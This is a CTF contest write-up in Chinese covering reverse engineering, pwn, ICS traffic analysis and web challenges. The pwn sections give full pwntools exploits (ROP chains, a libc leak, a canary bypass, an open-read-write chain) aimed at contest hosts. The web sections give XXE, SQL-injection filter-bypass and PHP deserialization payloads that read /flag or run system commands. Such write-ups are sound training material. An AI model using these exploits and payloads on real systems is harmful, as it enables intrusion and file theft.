工业线上赛(2022省赛)

RE

HNGK-签到

发现存在upx壳

pwn@DESKTOP-A262SJV:/Downloads/re$ pwn checksec ./re
[*] '/mnt/c/Users/njh59/Downloads/re/re'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    Packer:   Packed with UPX
pwn@DESKTOP-A262SJV:/Downloads/re$ ./upx -d re
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2022
UPX 4.0.0       Markus Oberhumer, Laszlo Molnar & John Reiser   Oct 28th 2022

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: re: Exception: compressed data violation

Unpacked 1 file: 0 ok, 1 error.

通过工具发现无法脱upx壳(版本4.00)，而通过ida分析发现需要通过upx3.96版本进行解压。然后分析加密流程:

故我们进入B::cmp函数查看函数是如何进行比较的:（发现以索引为线索进行比较的

v3 = "bEBn`GBkMV{fJyMLTF{yR@sQVjUNIoULJVtsN@UQ[d>>"
v5 = []
for i in range(44):
    v5.append(ord(v3[i])^3)
    #print(chr(v5[i]),end='')
    # aFAmcDAhNUxeIzNOWExzQCpRUiVMJlVOIUwpMCVRXg==
    # hP&p0!5L^#3NXLs@*QR%L&UN!L)0%Q^

v3 = "OFG{OxS3Lha6MUDk[0PnXofmcUrp`E3w`1@zalL2fZX1gJn4SWHFPGTEP2jHQivOVW7RWDDQW3PTTnf[UTmjSAOiHT6oIkerZ{q?"
v5 = []
for i in range(len(v3)):
    v5.append(ord(v3[i])^2)
    #print(chr(v5[i]),end='')
    # MDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVohQCMkJV4mKigpXys=
    # 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+

v8 = "hP&p0!5L^#3NXLs@*QR%L&UN!L)0%Q^"
a2 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+"
for i in range(len(v8)):
    tmp = a2.find(v8[i])
    print(chr(tmp+48),end='')

print()
#ActI0n5_sp3ak_Louder_than_w0rds

ActI0n5_sp3ak_Louder_than_w0rds

HNGK-反调试

分享main函数:（发现存在反调试，但加密算法较为简单；

同时发现存在TLS反调试，而其中针对密文存在异或0x66的操作；

结合两部分加密过程从而得到flag:

a = [0x110,0x3f8,0x2f5,0x39b,0x17b,0xf7,0x24f,0x36,0x19f,0x117,0x14d,0x28a,0x366,0xeb,0x39b,0x117,0xb7,0xeb,0xb0,0x36,0x117,0x162,0x27f,0x47]

for i in range(len(a)):
    a[i] ^= 0x66
print(a)

for i in range(len(a)):
    for j in range(127):
        t = a[i] * j % 1031
        if t == 1:
            #print(i,end=': ')
            print(chr(j),end='')
            break;
# flag{@nt1_d3bug_Ju5t_s0}

flag{@nt1_d3bug_Ju5t_s0}

HNGK-数独

分析流程:（发现数独的存在。

同时真正的字符加密部分位于SEH异常捕获之中:

a = [0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 
  0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 
  0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x09, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x01, 0x00, 
  0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x09, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00]

print(len(a))
t = 0
for i in range(len(a)):
    if a[i]:
        t = i
print(t)
t = 0
for i in range(9):
    for j in range(9):
        print(a[t], end=' ')
        t = t + 4
    print()
    
mw = "{hXxAjYkacX+8>h#<Z9g<dqAQNxZp4Ccq3QLjorvP+Ox3oPOBiHD5r;gHuRa@yIfmO2=K9brZMeO6Qz2K"
mm = "5619238183457621978469254539786692871328563671281793452"
#b = []
print(len(mm))
print(len(mw))
idx = 0
for i in range(len(mm)):
    tmp_num = ord(mm[i])-48
    t_c = mw[idx*9+tmp_num-1]
    idx = (idx+1)%9
    print(t_c,end='')
    
    
'''
0 4 0 0 7 0 0 0 0
9 2 0 0 0 0 6 0 7
8 3 0 0 0 5 4 0 0
0 1 0 0 0 3 0 0 0
0 0 0 2 0 1 0 0 0
0 0 0 5 0 0 0 4 0
0 0 4 9 0 0 0 7 1
3 0 5 0 0 0 0 9 4
0 0 0 0 0 8 0 6 0
5619238183457621978469254539786692871328563671281793452

{hXxAjYka
cX+8>h#<Z
9g<dqAQNx
Zp4Ccq3QL
jorvP+Ox3
oPOBiHD5r
;gHuRa@yI
fmO2=K9br
ZMeO6Qz2K
'''
# Ah9LoOyf2X8q3+P;rzk8ALoiu=ea#Nq+rgbz{+gQPHHKz{XNZOrH26h

Ah9LoOyf2X8q3+P;rzk8ALoiu=ea#Nq+rgbz{+gQPHHKz{XNZOrH26h

HNGK-py字节码

大致通过()部分猜测出其原型是什么?

  3           0 LOAD_CONST               0 (17)
              2 STORE_NAME               0 (a)		# a = 17

  4           4 LOAD_CONST               1 (13)
              6 STORE_NAME               1 (b)		# b = 13

  6           8 LOAD_CONST               2 (<code object rand at 0x00000200D33F3D40, file "task.py", line 6>)
             10 LOAD_CONST               3 ('rand')
             12 MAKE_FUNCTION            0
             14 STORE_NAME               2 (rand) # 该部分应该是个函数

 10          16 LOAD_NAME                3 (print)
             18 LOAD_CONST               4 ('please input your flag:')
             20 CALL_FUNCTION            1		# print('please input your flag:')
             22 POP_TOP

 11          24 LOAD_NAME                4 (str)
             26 LOAD_NAME                5 (input)
             28 CALL_FUNCTION            0
             30 CALL_FUNCTION            1
             32 STORE_NAME               6 (flag)  # flag = str(input())

 13          34 LOAD_NAME                7 (len)
             36 LOAD_NAME                6 (flag)
             38 CALL_FUNCTION            1
             40 LOAD_CONST               5 (20)
             42 COMPARE_OP               5 (>=)
             44 POP_JUMP_IF_TRUE        50
             46 LOAD_ASSERTION_ERROR				# len(flag) >= 20
             48 RAISE_VARARGS            1			# 该部分应该是个if语句

 15     >>   50 LOAD_NAME                8 (ord)
             52 LOAD_NAME                6 (flag)
             54 LOAD_CONST               6 (19)
             56 BINARY_SUBSCR
             58 CALL_FUNCTION            1
             60 STORE_GLOBAL             9 (seed)

 16          62 BUILD_LIST               0
             64 LOAD_CONST               7 ((102, 3, 46, 0, 78, 102, 103, 57, 116, 63, 110, 127, 121, 59, 57, 33, 49, 11, 110, 18, 6))
             66 LIST_EXTEND              1
             68 STORE_NAME              10 (enc) # 定义了个数组

 17          70 BUILD_LIST               0
             72 LOAD_CONST               8 ((102, 50, 35, 35, 35, 17, 67, 35, 69, 35, 51, 34, 35, 69, 35, 69, 35, 51, 34, 35, 153))
             74 LIST_EXTEND              1
             76 STORE_NAME              11 (data) # 定义了个数组

 18          78 LOAD_NAME               12 (range)
             80 LOAD_NAME                7 (len)
             82 LOAD_NAME                6 (flag)
             84 CALL_FUNCTION            1
             86 CALL_FUNCTION            1
             88 GET_ITER
        >>   90 FOR_ITER                90 (to 182)
             92 STORE_NAME              13 (i)	# for i in range(len(flag))

 20          94 LOAD_NAME               11 (data)
             96 LOAD_NAME               13 (i)
             98 BINARY_SUBSCR		# data[i]
            100 LOAD_NAME               13 (i)
            102 BINARY_XOR			# 异或  data[i] ^ i
            104 LOAD_NAME                2 (rand)	# 载入了rand函数
            106 CALL_FUNCTION            0
            108 LOAD_CONST               9 (128) # 比较的应该就是data与
            110 BINARY_MODULO		# 除数
            112 BINARY_XOR			# data[i] ^ i ^ rand()
            114 STORE_NAME              14 (tmp) # tmp = ...

 21         116 LOAD_NAME                8 (ord)
            118 LOAD_NAME                6 (flag)
            120 LOAD_NAME               13 (i)
            122 BINARY_SUBSCR	# ord(flag[i])
            124 CALL_FUNCTION            1
            126 LOAD_NAME               14 (tmp)
            128 BINARY_XOR			# 这里可以看到存在着异或加密
            130 LOAD_NAME               11 (data)
            132 LOAD_NAME               13 (i)
            134 LOAD_CONST              10 (1)
            136 BINARY_ADD		# 这里为加
            138 STORE_SUBSCR		# data[i+1] +?? ord(flag[i])^tmp
# 该部分应该就是比较data和enc啦
 23         140 LOAD_NAME               11 (data)
            142 LOAD_NAME               13 (i)
            144 LOAD_CONST              10 (1)
            146 BINARY_ADD		# data[i+1]
            148 BINARY_SUBSCR	# 读取slice 的值
            150 LOAD_NAME               10 (enc) # 该部分应该就是比较data和enc啦
            152 LOAD_NAME               13 (i)
            154 LOAD_CONST              10 (1)
            156 BINARY_ADD		# enc[i+1]
            158 BINARY_SUBSCR		# 读取slice 的值读取slice 的值			
            160 COMPARE_OP               3 (!=) # 该部分为比较
            162 POP_JUMP_IF_FALSE       90 # 这里进行比较

 24         164 LOAD_NAME                3 (print)
            166 LOAD_CONST              11 ('error!')
            168 CALL_FUNCTION            1		# print('error!')
            170 POP_TOP

 25         172 LOAD_NAME               15 (exit)
            174 LOAD_CONST              12 (0)
            176 CALL_FUNCTION            1
            178 POP_TOP
            180 JUMP_ABSOLUTE           90

 26     >>  182 LOAD_NAME                3 (print)
            184 LOAD_CONST              13 ('flag is %s')
            186 LOAD_NAME                6 (flag) # 打印flag
            188 BINARY_MODULO
            190 CALL_FUNCTION            1
            192 POP_TOP
            194 LOAD_CONST              14 (None)
            196 RETURN_VALUE
# 这部分应该就是第6行之汇总的行数了
Disassembly of <code object rand at 0x00000200D33F3D40, file "task.py", line 6>:
  8           0 LOAD_GLOBAL              0 (a)
              2 LOAD_GLOBAL              1 (seed)
              4 BINARY_MULTIPLY
              6 LOAD_GLOBAL              2 (b)
              8 BINARY_ADD		# 加
             10 LOAD_CONST               1 (128)
             12 BINARY_MODULO 		# 除
             14 STORE_GLOBAL             1 (seed) # seed = (a * seed + b) % 128

  9          16 LOAD_GLOBAL              1 (seed) # return seed
             18 RETURN_VALUE

该部分据我所知没有工具能够逆向，故只能硬逆了:

a = 17
b = 13

def rand():
    global seed
    seed = (a*seed+b)%128
    return seed

seed = 22
enc = [102, 3, 46, 0, 78, 102, 103, 57, 116, 63, 110, 127, 121, 59, 57, 33, 49, 11, 110, 18, 6]
data = [102, 50, 35, 35, 35, 17, 67, 35, 69, 35, 51, 34, 35, 69, 35, 69, 35, 51, 34, 35, 153]
flag= []
for i in range(20):
    k = rand()
    data[i+1] = data[i] ^ i ^ k
    flag.append(enc[i+1] ^ data[i+1])
    data[i+1] = enc[i+1]

print(bytes(flag))
# b'flag{Pyth0n_1s_yyds}'

flag{Pyth0n_1s_yyds}

pwn

HNGK-easybaby

发现存在着整数溢出安全，我们打小怪物给自身加血，而打大怪物给大怪物加血

同时存在着栈溢出漏洞:（这部分需要打败大怪物才能触发该漏洞；

exp如下:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './babygame'
#r = process(binary)
r = remote('47.92.207.120','26364')
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc-2.31.so')

bss_seg = 0x0000000000405100
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
ret = 0x0000000000401505
pop_rdi_ret = 0x0000000000402c33 #: pop rdi ; ret
pop_rsi_r15_ret = 0x0000000000402c31 #: pop rsi ; pop r15 ; ret
gadget_overflow = 0x00000000004014BB
def attack1():
    r.sendlineafter("请输入你的选择：\n",str(3))
    r.sendlineafter("2、逃跑\n",str(1))

def attack2():
    r.sendlineafter("请输入你的选择：\n",str(4))
    for i in range(23):
        r.sendlineafter("2、逃跑\n",str(1))

def attack_up():
    r.sendlineafter("请输入你的选择：\n",str(1))
    r.sendlineafter("7、离开武器店\n",str(4))
    r.sendline(str(7))


for i in range(40):
    attack1()
attack_up()
for i in range(40):
    attack1()
attack_up()
for i in range(40):
    attack1()
attack_up()
attack2()
#gdb.attach(r)
#pause()
#payload = b'a'*0x30+p64(bss_seg+0x800)+p64(pop_rdi_ret)+p64(read_got)+p64(0x000000000401170)+p64(gadget_overflow)
payload = b'a'*0x30+p64(bss_seg+0x800)+p64(pop_rdi_ret)+p64(read_got)+p64(puts_plt)+p64(0x000000000401190)
r.sendlineafter("好汉，留下你的姓名\n",payload)
puts_addr = u64(r.recv(6).ljust(8,b'\x00'))
libc_base = puts_addr-libc.sym['read']
system = libc_base+libc.sym['system']
sh = libc_base+0x1B45BD#+0x00001B45BD#+0x1B45BD
success(hex(puts_addr))
success(hex(libc_base))


r.sendline(str(6))

gadget1 = 0x0000000000402C2A
gadget2 = 0x0000000000402C10
payload2  = b'b'*0x28+p64(system)+p64(bss_seg+0x800)
payload2 += p64(pop_rdi_ret)+p64(sh)+p64(ret)+p64(system)
#payload2 += p64(pop_rdi_ret)+p64(sh)
#payload2 += p64(gadget1)+p64(0)+p64(bss_seg+0x800)+p64(sh)+p64(0)+p64(0)+p64(bss_seg+0x800-0x8)+p64(gadget2)
r.sendlineafter("好汉，留下你的姓名\n",payload2)

r.interactive()

flag{1gggtb7856cbcf0288b4a0l71kdssavt}

HNGK-easystack

登录的过程之中存在格式化字符串漏洞:（从而绕过登录

而main函数整体流程存在着栈溢出漏洞，并且通过覆写canary低位导致泄露，进而可以绕过金丝雀保护措施；

exp如下:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './easystack'
#r = process(binary)
r = remote('47.92.207.120',  '23806')
elf = ELF(binary)
libc = elf.libc
#libc = ELF('./libc-2.31.so')


puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x0000000000401511
bss_seg = 0x0000000000404080
pop_rdi_ret = 0x0000000000401653 #: pop rdi ; ret
def cmd(cc,payload=''):
    r.sendlineafter(">> ",str(cc))
    if cc == 1:
        r.send(payload)

def login():
    payload = b'%4660c%7$n'
    r.sendlineafter("Please input: ",payload)
login()
payload1 = b'a'*0x68+b'b'
cmd(1,payload1)
cmd(2)
r.recvuntil(b'b')
canary = u64(r.recv(7).rjust(8,b'\x00'))

payload = b'c'*0x68+p64(canary)+p64(0)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
cmd(1,payload)
cmd(3)
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr-libc.sym['puts']

o = libc_base+libc.sym['open']
rr = libc_base+libc.sym['read']
w = libc_base+libc.sym['write']
pop_rdi_ret = libc_base+0x0000000000023b6a #: pop rdi ; ret
pop_rsi_ret = libc_base+0x000000000002601f #: pop rsi ; ret
pop_rdx_ret = libc_base+0x0000000000142c92 #: pop rdx ; ret
orw1  = b'c'*0x68+p64(canary)+p64(0)
orw1 += p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(bss_seg+0x100)+p64(pop_rdx_ret)+p64(0x100)+p64(rr)+p64(main)

login()
cmd(1,orw1)
cmd(3)
r.send("./flag")

print("open start!")
orw2  = b'c'*0x68+p64(canary)+p64(0)
orw2 += p64(pop_rdi_ret)+p64(bss_seg+0x100)+p64(pop_rsi_ret)+p64(0)+p64(o)+p64(main)
login()
cmd(1,orw2)#SYS_openat
#gdb.attach(r)
#pause()
cmd(3)



print("read start!")
orw3  = b'c'*0x68+p64(canary)+p64(0)
orw3 += p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(bss_seg+0x200)+p64(pop_rdx_ret)+p64(0x100)+p64(rr)+p64(main)
login()
cmd(1,orw3)

cmd(3)



print("write start!")
orw4  = b'c'*0x68+p64(canary)+p64(0)
orw4 += p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(bss_seg+0x200)+p64(pop_rdx_ret)+p64(0x100)+p64(w)+p64(main)
login()
cmd(1,orw4)
#gdb.attach(r)
#pause()
cmd(3)
success(hex(canary))
success(hex(libc_base))
#gdb.attach(r)

r.interactive()
# flag{1ggh11c9tqpg7l0288b4a0l749dssb2i}

flag{1ggh11c9tqpg7l0288b4a0l749dssb2i}

Lcs

HNGK-S7Comm协议分析

流量分析，放入wireshark，追踪tcp流流为1，搜索flag，发现一串可疑字符。

对5a6d78685a33747264454a31517a524d656d6f7a6651进行hex解码和base64解码即可得到flag
flag{ktBuC4Lzj3}

HNGK-工程文件分析

找了很久找不到，猜测被隐藏起来了。先解压，会有一个.pbp文件，再对.pbp文件解压。最后利用string来查看不可见字符。
命令: strings $(find . | xargs) | grep flag

flag{3u1xaCYSVSK5cJDT}

HNGK-easy_wincc

这里使用十+十破空v3.3+＋+flag关键字查找工具工具直接便可以得到flag:
flag{wincc_1s_1nteresting~}

Web

HNGK-xxx

是一个登录页面，先看一下源码，发现可以x的点

访问doLogin.php，POST方式：

<!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///flag">
]>
<user><username>&test;</username><password>123</password></user>

flag{1ggglpln2496uc028abi4k63hrjbfmk2}

HNGK-兰亭集序

打开后，发现url是一个ssrf，查看源码：

直接查即可

payload: ?file=fflagggg.php

flag{1gggo2ajssebff0288b4a0l704dssaud}

HNGK-phpgame

打开后，发现是乱码，用bp抓包，查看响应包:

放到记事本中查看

访问/php66.php，找到php代码

代码审计后发现：year 必须为2022，item需为 三个值的数组 且第[1]个的值为数组
payload: /?get={"year":"2022alex","items":[1,[1],0]}
flag{1gggurfjk955li0288b4a0l72ldssb0u}

HNGK-out

是个sql注入，过滤了空格、select、and，尝试后发现为报错注入。双写绕过+/**/代替空格+%23注释
Payload:
?id=1' aandnd/**/extractvalue(1,concat(0x7e,(selselectect/**/load_file('/flag')),0x7e))%23
报错回显中有flag的前一部分，使用right找到后一部分
?id=1' aandnd/**/extractvalue(1,concat(0x7e,(selselectect/**/right(load_file('/flag'),10)),0x7e))%23
把flag拼接即可；

flag{1ggh0b2vo3l6c50288b4a0l73ndssb20}

HNDS-DS_Store

泄露文件.DS_Store，发现mypop.php，绕过parse_url然后反序列化；
Pop链子：

<?php
class Fish{
    public $food;
    public function __construct($exp3){
        $this->food = $exp3;
    }

}


class Bubble{
    public $bubble;
    public $hack;
    public function __construct(){
        
        $this->hack = “system("cat /flag");”;
        
    }

}

class Turtle{
    public $head;
    public $tail;
    public function __construct($exp2){
        $this->tail = $exp2;
    }
    
}

class Stone{
    public $rock;
    public $ash;
    public function __construct($exp){
        $this->rock = $exp;
    }
}

$c = new Bubble();
$b = new Fish($c);
$a = new Turtle($b);
$exp = new Stone($a);

echo serialize($exp);

?>

Payload
http://47.92.207.120:27282///mypop.php?data=O:5:"Stone":2:{s:4:"rock";O:6:"Turtle":2:{s:4:"head";N;s:4:"tail";O:4:"Fish":1:{s:4:"food";O:6:"Bubble":2:{s:6:"bubble";N;s:4:"hack";s:20:"system("cat /flag");";}}}s:3:"ash";N;}